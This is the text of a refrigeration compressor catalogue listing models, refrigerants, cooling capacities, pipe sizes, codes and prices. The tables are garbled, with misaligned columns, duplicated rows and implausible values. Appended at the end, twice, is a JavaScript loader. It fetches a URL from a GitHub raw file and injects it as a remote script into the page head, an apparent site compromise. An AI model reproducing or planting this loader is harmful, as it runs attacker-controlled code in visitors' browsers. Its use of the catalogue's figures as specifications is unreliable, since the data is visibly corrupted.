ARIA

COMPRESSORS, HERMETIC ,PISTON, AREA

MODEL HP CM3 GAS COOLING CAPACITY (LBP COND.) (W)                                    SUCTION DISCHARGE PIPE (’’) PIPE (’’) MOTOR TYPE
-10ºC -15ºC -20ºC -25ºC
S36CZ 1/8 3,6 R134a 180 139 104 75 1/4 1/4 CSIR
S43CZ1 1/7 4,3 R134a 196 152 114 84 1/4 1/4 RSIR
S53CZ 1/6 5,3 R134a 246 195 145 106 1/4 1/4 RSIR
L58CZ 1/6 5,8 R134a 291 223 169 130 1/4 1/4 RSIR
L65CZ1 1/5 6,5 R134a 323 251 191 141 1/4 1/4 RSIR
L72CZ1 1/4 7,2 R134a 377 296 225 163 6,1 4,1 RSIR
E1120CZA 1/3 8,2 R134a 520 407 303 206 1/4 1/4 RSIR
E1130CZA 3/8 12,1 R134a 736 550 400 284 3/8 1/4 RSIR
MODEL HP CM3 GAS COOLING CAPACITY (LBP COND.) (W)                                    SUCTION DISCHARGE PIPE (’’) PIPE (’’) MOTOR TYPE
5ºC 0ºC -5ºC -10ºC
NE5165CZ 1/4 9 R134a 748 610 470 390 3/8 1/4 CSIR
NE5170CZ 1/4 9,8 R134a 825 670 550 420 3/8 1/4 RSIR
NE6188CZ 1/3 12 R134a 1.010 830 665 520 3/8 1/4 CSIR
NE6210CZ 3/8 14,2 R134a 1.190 965 758 575 3/8 1/4 CSIR
MODEL HP CM3 GAS COOLING CAPACITY (LBP COND.) (W)                                    SUCTION DISCHARGE MOTOR PIPE (’’) PIPE (’’) TYPE
-10ºC -15ºC -20ºC -25ºC
NE2134CK 1/2 12 R404A 1.047 850 671 508 3/8 1/4 CSIR
MODEL HP CM3 GAS COOLING CAPACITY (LBP COND.) (W)                                    SUCTION DISCHARGE PIPE (’’) PIPE (’’) MOTOR TYPE
5ºC 0ºC -5ºC -10ºC
NE6210CK 3/8 9 R404A 1.082 893 721 566 3/8 1/4 CSIR
NE6213CK 1/2 12 R404A 1.602 1327 1080 862 3/8 1/4 CSIR
CT6217CK 3/4 14,5 R404A 1.870 1.590 1.321 1.030 3/8 3/8 CSR
CJ6228CK 1 1/4 23,6 R404A 2.830 2.250 1.700 1.180 3/8 3/8 CSR
COOLING CAPACITY (W) MODEL HP CM3 GAS                                                                SUCTION DISCHARGE CODE PRICE (€) PIPE (’’) PIPE (’’)
5ºC 0ºC -5ºC -10ºC
H2EB29SABK 1,99 55,9 R22 6.500 5.100 3.800 5/8 3/8
H29B35UABH 2,75 60,6 R22 7.790 5.971 4.457 3.230 3/4 1/2
H23A423ABK 3,25 73,8 R22 9.179 7.210 3/4 1/2
MODEL HP CM3 GAS COOLING CAPACITY (W)                                                                        SUCTION PIPE (’’) DISCHARGE PIPE (’’)
5ºC 0ºC -5ºC -10ºC
H23A423DBE 3,25 73,8 R22 9.235 7.254 3/4 1/2
H23A463DBE 3,5 80,7 R22 10.151 7.938 6.100 4.600 7/8 1/2
H23A543DBE 4 92,7 R22 12.134 9.623 7.438 5.581 7/8 1/2
H23A623DBE 5 103,4 R22 13.851 11.245 8.811 6.600 7/8 1/2
H29A723DBE 6 117,2 R22 16.348 13.117 10.351 8.011 7/8 1/2
R22 19.906 15.271 11.080 7.168
H92G094DBE SAE 7 1/2 167,4 R407C R134a 17.773 11.552 13.165 8.557 9.311 6.052 5.828 3.788 1 3/4 1 1/4
R404A 19.195 14.218 10.056 6.294
R22 23.619 18.736 14.147 9.718
H92G104DBE SAE 9 190,5 R407C 21.088 16.152 11.888 7.901 1 3/4 1 1/4
R134a 13.707 10.499 7.727 5.136
R404A 22.775 17.444 12.839 8.533
R22 27.583 22.141 17.241 12.620
H92G124DBE SAE 10 219,5 R407C R134a 24.628 16.008 19.087 12.407 14.488 9.417 10.260 6.669 1 3/4 1 1/4
R404A 26.598 20.614 15.647 11.081
R22 32.660 26.830 21.888 164.542
H92G144DBE SAE 12 246,5 R407C R134a 29.161 18.955 23.129 15.034 18.393 11.955 133.774 86.953 1 3/4 1 1/4
R404A 31.494 24.979 19.864 144.476
R22 32.660 26.830 21.888 164.542
H92G144DBE 12 246,5 R407C R134a 29.161 18.955 23.129 15.034 18.393 11.955 133.774 86.953 1 3/4 1 1/4
R404A 31.494 24.979 19.864 144.476
MODEL HP CM3 GAS COOLING CAPACITY (W)                                                                        SUCTION PIPE (’’) DISCHARGE PIPE (’’)
5ºC 0ºC -5ºC -10ºC
R407C 3.310 2.340 1.510 829
H79B17UABH 1,25 33,42 R134a 2.152 1.521 982 539 5/8 3/8
R404A 3.575 2.527 1.631 895
R407C 4.700 3.400 2.200 1.000
H79B22UABH 1,75 42,4 R134a 3.055 2.210 1.430 650 5/8 3/8
R404A 5.076 3.672 2.376 1.080
R407C 4.740 3.470 2.378 1.493
H79B24UABH 2 44,22 R134a 3.081 2.256 1.546 970 3/4 1/2
R404A 5.119 3.748 2.568 1.612
R407C 5.586 4.166 2.973
H79B28UABH 2,25 50,1 R134a 3.631 2.708 1.932 3/4 1/2
R404A 6.033 4.499 3.211
R407C 6.235 4.638 2.952 963
H79B32UABH 2,5 55,1 R134a 4.053 3.015 1.919 626 3/4 1/2
R404A 6.734 5.009 3.188 1.040
R407C 7.102 5.375 3.887
H79B35UABH 2,75 60,54 R134a 4.616 3.494 2.527 3/4 1/2
R404A 7.670 5.805 4.198
R407C 7.482 5.736 4.297 3.115
H73A383ABK 3 67,95 R134a 4.863 3.728 2.793 2.025 3/4 1/2
R404A 8.081 6.195 4.641 3.364
R407C 8.073 6.178 4.631 3.386
H73A423ABK 3,25 73,81 R134a 5.247 4.016 3.010 2.201 3/4 1/2
R404A 8.719 6.572 5.001 3.657
R407C 9.041 6.878 5.095 3.664
H73A463ABK 3,5 80,71 R134a 5.877 4.471 3.312 2.382 7/8 1/2
R404A 9.764 7.428 5.503 3.957
MODEL HP CM3 GAS COOLING CAPACITY (W)                                                                        SUCTION PIPE (’’) DISCHARGE PIPE (’’)
5ºC 0ºC -5ºC -10ºC
R407C 4.625 3.428 2.178 802
H79B22UDBV 2 42,4 R134a 3.006 2.228 1.416 521 5/8 3/8
R404A 4.995 3.702 2.352 866
R407C 5.556 4.118 2.617 963
H79B28UDBV 2,25 50,1 R134a 3.611 2.677 1.701 626 5/8 3/8
R404A 6.000 4.447 2.826 1.040
R407C 6.084 4.415 2.933 1.580
H79B32UDBV 2,75 55,1 R134a 3.955 2.870 1.906 1.027 3/4 1/2
R404A 6.571 4.768 3.168 1.706
R407C 7.250 5.559 4.164 3.019
H73A383DBE 3 67,95 R134a 4.713 3.613 2.707 1.962 5/8 3/8
R404A 7.830 6.004 4.497 3.261
R407C 8.122 6.215 4.659 3.407
H73A423DBE SAE 3,25 73,81 R134a 5.279 4.040 3.028 2.215 1 1/4 1
R404A 8.772 6.712 5.032 3.680
R407C 8.122 6.215 4.659 3.407
H73A423DBE 3,25 73,81 R134a 5.279 4.040 3.028 2.215 3/4 1/2
R404A 8.772 6.712 5.032 3.680
R407C 8.927 6.801 5.091 3.739
H73A463DBE SAE 3,5 80,71 R134a 5.803 4.421 3.309 2.430 7/8 SAE 7/8 SAE
R404A 9.641 7.34 5.498 4.038
R407C 8.927 6.801 5.091 3.739
H73A463DBE 3,5 80,71 R134a 5.803 4.421 3.309 2.430 7/8 1/2
R404A 9.641 7.345 5.498 4.038
R407C 10.672 8.249 6.213 4.535
H73A543DBE SAE 4 92,7 R134a 6.937 5.362 4.038 2.948 1 1/4 1
R404A 11.526 8.909 6.710 4.898
R407C 10.672 8.249 6.213 4.535
H73A543DBE 4 92,7 R134a 6.937 5.362 4.038 2.948 7/8 1/2
R404A 11.526 8.909 6.710 4.898
R407C 12.182 9.656 7.384 5.374
H73A623DBEA SAE 5 103.4 R134a 7.918 6.276 4.800 3.493 1 1/4 1
R404A 13.157 10.428 7.975 5.804
R407C 12.182 9.656 7.384 5.374
H73A623DBEA 5 103.4 R134a 7.918 6.276 4.800 3.493 7/8 1/2
R404A 13.157 10.428 7.975 5.804
R407C 12.084 9.263 6.806 4.766
H79A623DBV 5 101,3 R134a 7.855 6.021 4.424 3.098 7/8 1/2
R404A 13.051 10.004 7.350 5.147
R407C 14.562 11.240 8.307 5.828
H79A723DBE SAE 6 117,2 R134a 9.465 7.306 5.400 3.788 7/8 1/2
R404A 15.727 12.139 8.972 6.294
R407C 14.562 11.240 8.307 5.828
H79A723DBE 6 117,2 R134a 9.465 7.306 5.400 3.788 7/8 1/2
R404A 15.727 12.139 8.972 6.294
R407C 21.994 16.904 12.656 9.198
H7DA114DBE 8 95 R134a 14.296 10.988 8.226 5.979 1 1/8 3/4
R404A 23.754 18.256 13.688 9.934

13

MODEL HP CM3
V80J303MB2 2,5 40
COOLING CAPACITY (W) GAS                                                 SUCTION DISCHARGE CODE PRICE (€) PIPE (’’) PIPE (’’)
5ºC 0ºC -5ºC -10ºC
R410A 10.955 8.536 6.369 4.445
R407C 13.120 8.452 6.096 4.122 3/4 1/2 001106900 1.922,99
R134a 8.528 5.494 3.962 2.679
R404A 14.170 9.128 6.584 4.452
COOLING CAPACITY (W) MODEL CM3 GAS                                                                 SUCTION DISCHARGE MOTOR TYPE CODE PRICE (€) PIPE (’’) PIPE (’’)
5ºC 0ºC -5ºC -10ºC
HSM150V4UDZ 15,1 8 2.461 2.128 1.816 1.490 1/2 3/8 PSC 0011121200 250,73
HSM200V1UFT 20,1 R22 3.188 2.711 2.239 1.764 1/2 3/8 PSC 0011122000 333,08
PH300G2C-4KU1 29,8 R22 4.840 4.116 3.399 2.677 1/2 3/8 PSC 0011118100 383,32
PH420G2CS-4KU1 42,3 R22 6.726 5.719 4.723 3.720 1/2 3/8 PSC 0011118500 518,32
COOLING CAPACITY (W) MODEL CM3 GAS                                                                 SUCTION DISCHARGE MOTOR TYPE CODE PRICE (€) PIPE (’’) PIPE (’’)
5ºC 0ºC -5ºC -10ºC
PA89M1C-4DZDE 8,9 R410A 1.975 1.660 1.393 1.165 3/8 3/8 PSC 0011117600 275,74
PA108M1C-4DZDE2 10,8 R410A 2.384 2.003 1.678 1.402 3/8 3/8 PSC 0011118800 289,89
PA125G1C-4FTL1 12,4 R410A 2.778 2.334 1.956 1.637 1/2 3/8 PSC 0011118900 311,09
PA170M2C-4ET2 17,1 R410A 3.883 3.258 2.727 2.280 1/2 3/8 PSC 0011119100 364,14
PA215M2AS-4KU 21,4 R410A 4.963 4.164 3.486 2.914 12,9 8,1 PSC 0011117800 401,25
PA270G2C-4FT1 27 R410A 6.179 5.198 4.361 3.656 1/2 3/8 PSC 0011119000 524,96
PA290G2CS-4MU1 28,7 R410A 6.841 5.755 4.829 4.048 5/8 3/8 PSC 0011119200 549,72
PA331X3CS-4MU1 32,6 R410A 7.593 6.379 5.345 4.475 5/8 3/8 PSC 0011117700 572,70
COOLING CAPACITY (W) MODEL CM3 GAS                                                                 SUCTION DISCHARGE MOTOR CODE PRICE (€) PIPE (’’) PIPE (’’) TYPE
5ºC 0ºC -5ºC -10ºC
DA110S1C-30FZ 11 R410A 4.856 4.089 3.437 2.888 1/2 3/8 DC Inverter 491,01
DA131S1B-31FZ 13,1 R410A 5.968 5.026 4.225 3.549 1/2 3/8 DC Inverter 486,96
DA150S1C-20FZ 15 R410A 6.859 5.776 4.855 4.079 1/2 3/8 DC Inverter 533,26
DA250S2C-30MT 25,14 R410A 11.479 9.681 8.148 6.855 5/8 3/8 DC Inverter 570,23
COOLING CAPACITY (W) MODEL CM3 GAS                                                                 SUCTION DISCHARGE MOTOR CODE PRICE (€) PIPE (’’) PIPE (’’) TYPE
5ºC 0ºC -5ºC -10ºC
ATQ420D1UMU 41,5 R410A 19.455 16.420 13.830 11.641 5/8 3/8 DC Inverter 950,36
COOLING CAPACITY (W) MODEL CM3 GAS                                                                 SUCTION DISCHARGE MOTOR CODE PRICE (€) PIPE (’’) PIPE (’’) TYPE
5ºC 0ºC -5ºC -10ºC
JSK64V16UZH 6,4 R134a 678 557 447 350 1/4 1/4 PSC 190,71
PJ125G1C-4DZDE 12,4 R134a 1.330 1.052 843 719 3/8 3/8 PSC 288,68
PJ160G1C-4DZ 16 R134a 1.716 1.357 1.088 928 3/8 3/8 PSC 302,63
PJ215G1C-4FT 21,3 R134a 2.274 1.799 1.442 1.231 1/2 3/8 PSC 319,60
PJ250M2C-4FT 25 R134a 2.766 2.188 1.754 1.497 1/2 3/8 PSC 347,96
PJ340M2CS-4KU 34 R134a 3.688 2.917 2.338 1.996 1/2 3/8 PSC 443,33
MODEL CM3 GAS COOLING CAPACITY (W)                                                                SUCTION DISCHARGE PIPE (’’) PIPE (’’) MOTOR TYPE
5ºC 0ºC -5ºC -10ºC
KFA096K 9,6 R410A 2.200 1.750 1.300 850 3/8 3/8 PSC
COOLING CAPACITY (W) MODEL CM3 GAS                                                                SUCTION DISCHARGE MOTOR CODE PRICE (€) PIPE (’’) PIPE (’’) TYPE
-10ºC -15ºC -20ºC -25ºC
QHD-13K 13,4 R404A 1.506 1.230 995 848 1/2 3/8 CSR
QHD-16K 16,4 R404A 1.840 1.515 1.235 1.058 1/2 3/8 CSR
QHD-23K 23,6 R404A 2.645 2.185 1.790 1.535 1/2 3/8 CSR
QHD-30K 30,7 R404A 3.430 2.832 2.320 1.994 1/2 3/8 CSR
QHD-36K 35,7 R404A 4.020 3.315 2.720 2.338 1/2 3/8 CSR
COOLING CAPACITY (W) MODEL CM3 GAS                                                                SUCTION DISCHARGE MOTOR CODE PRICE (€) PIPE (’’) PIPE (’’) TYPE
5ºC 0ºC -5ºC -10ºC
QXC-13K 13,5 R407C 1.860 1.467 1.074 680 3/8 3/8 PSC
QXC-16K 16,4 R407C 2.267 1.812 1.357 902 3/8 3/8 PSC
QXC-19K 19,3 R407C 2.646 2.177 1.708 1.238 1/2 3/8 PSC
QXC-21K 21,3 R407C 3.300 2.700 2.100 1.500 1/2 3/8 PSC
PG225X2C-4FT 22,4 R407C 3.666 3.050 2.520 2.061 1/2 3/8 PSC
QXC-30K 30,7 R407C 5.010 4.062 3.382 2.712 1/2 3/8 PSC
PG330G2C-7KTS 32,79 R407C 5.128 4.320 3.597 2.884 1/2 3/8 PSC
PG400G2C-7FTS 39,78 R407C 6.253 5.268 4.385 3.516 1/2 3/8 PSC
QXC-41K 41,7 R407C 6.215 5.375 4.535 3.695 5/8 3/8 PSC
MODEL HP CM3
C-SBS180H00B 5 55,7
COOLING CAPACITY (W) GAS                                                 SUCTION DISCHARGE CODE PRICE (€) PIPE (’’) PIPE (’’)
5ºC 0ºC -5ºC -10ºC
R407C 17.118 13.890 11.129
R134a 10.543 8.480 6.883 5.500 7/8 1/2 0011124600 1.622,77
R404A 16.501 13.470 11.082 8.990
R407F 16.746 13.620 11.165
MODEL HP CM3 GAS COOLING CAPACITY (W)                                                                        SUCTION PIPE (’’) DISCHARGE PIPE (’’)
5ºC 0ºC -5ºC -10ºC
C-SBS120H38Q EVI 3,5 55,7 R407C 13.980 12.400 11.140 9.880 7/8 1/2
C-SBS145H38Q EVI 4 66,8 R407C 16.025 14.330 12.960 11.590 7/8 1/2
C-SBS180H38Q EVI 5 83,2 R407C 20.170 17.790 15.915 14.040 7/8 1/2
C-SBS205H38Q EVI 6 96,2 R407C 23.325 20.580 18.410 16.240 7/8 1/2
C-SCS295H38Q EVI 8 137 R407C 33.660 29.730 26.620 23.510 1 3/4
C-SCS370H38Q EVI 10 171,2 R407C 40.045 35.290 31.540 27.790 1 3/4
C-SCS435H38Q EVI 12 205,4 R407C 47.975 42.280 37.790 33.300 1 3/4

22

MODEL HP CM3 GAS COOLING CAPACITY (W)                                                                        SUCTION PIPE (’’) DISCHARGE PIPE (’’)
5ºC 0ºC -5ºC -10ºC
C-SBP120H15A 3 1/2 39,9 R410A 9.340 7.490 6.250 5.010 7/8 1/2
C-SBP140H15A 4 46,4 R410A 10.935 8.910 7.500 6.090 7/8 1/2
C-SBP160H15A 4 3/5 51,8 R410A 12.135 9.830 8.240 6.650 7/8 1/2
MODEL HP CM3 GAS COOLING CAPACITY (W)                                                                        SUCTION PIPE (’’) DISCHARGE PIPE (’’)
5ºC 0ºC -5ºC -10ºC
C-SBP120H38B 3,5 39,6 R410A 9.350 7.550 6.330 5.110 7/8 1/2
C-SBP140H38B 4 46,4 R410A 10.850 8.770 7.360 5.950 7/8 1/2
C-SBP160H38B 4,6 52 R410A 12.325 9.860 8.220 6.580 7/8 1/2
C-SBP170H38B 5 54,8 R410A 13.295 10.790 9.080 7.370 7/8 1/2
C-SBP205H38B 6 66,8 R410A 15.750 12.870 10.880 8.890 7/8 1/2
C-SBP235H38B 7 76 R410A 18.675 15.320 12.990 10.660 7/8 1/2
C-SCP270H38B 8 89,2 R410A 25.643 21.458 18.448 15.437 1 3/4
C-SCP315H38B 10 104,1 R410A 29.602 24.771 21.296 17.820 1 3/4
C-SCP360H38B 11 120,2 R410A 28.087 23.477 20.167 16.857 1 3/4
C-SCP400H38B 12 127,8 R410A 30.914 25.840 22.197 18.554 1 3/4
C-SCP435H38B 13 148,8 R410A 35.570 29.190 24.750 20.310 1 3/4
C-SCP510H38B 15 171,2 R410A 40.925 33.490 27.535 21.580 1 3/8 7/8
MODEL HP CM3 GAS 5ºC 0ºC -5ºC -10ºC SUCTION DISCHARGE CODE PRICE (€) PIPE (’’) PIPE (’’)
C-SDP205H02B 6 42,3 R410A 19.870 16.390 13.950 11.510 7/8 1/2
C-SDP330H02B 6 66,8 R410A 31.295 26.180 22.500 18.820 7/8 1/2
COOLING CAPACITY (W)
MODEL HP CM3 SUCTION PIPE (’’) DISCHARGE PIPE (’’)
5ºC 0ºC -5ºC -10ºC
C-SHPN603L0J 8 144,1 17.840 15.110 12.630 10.506 7/8 5/8

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});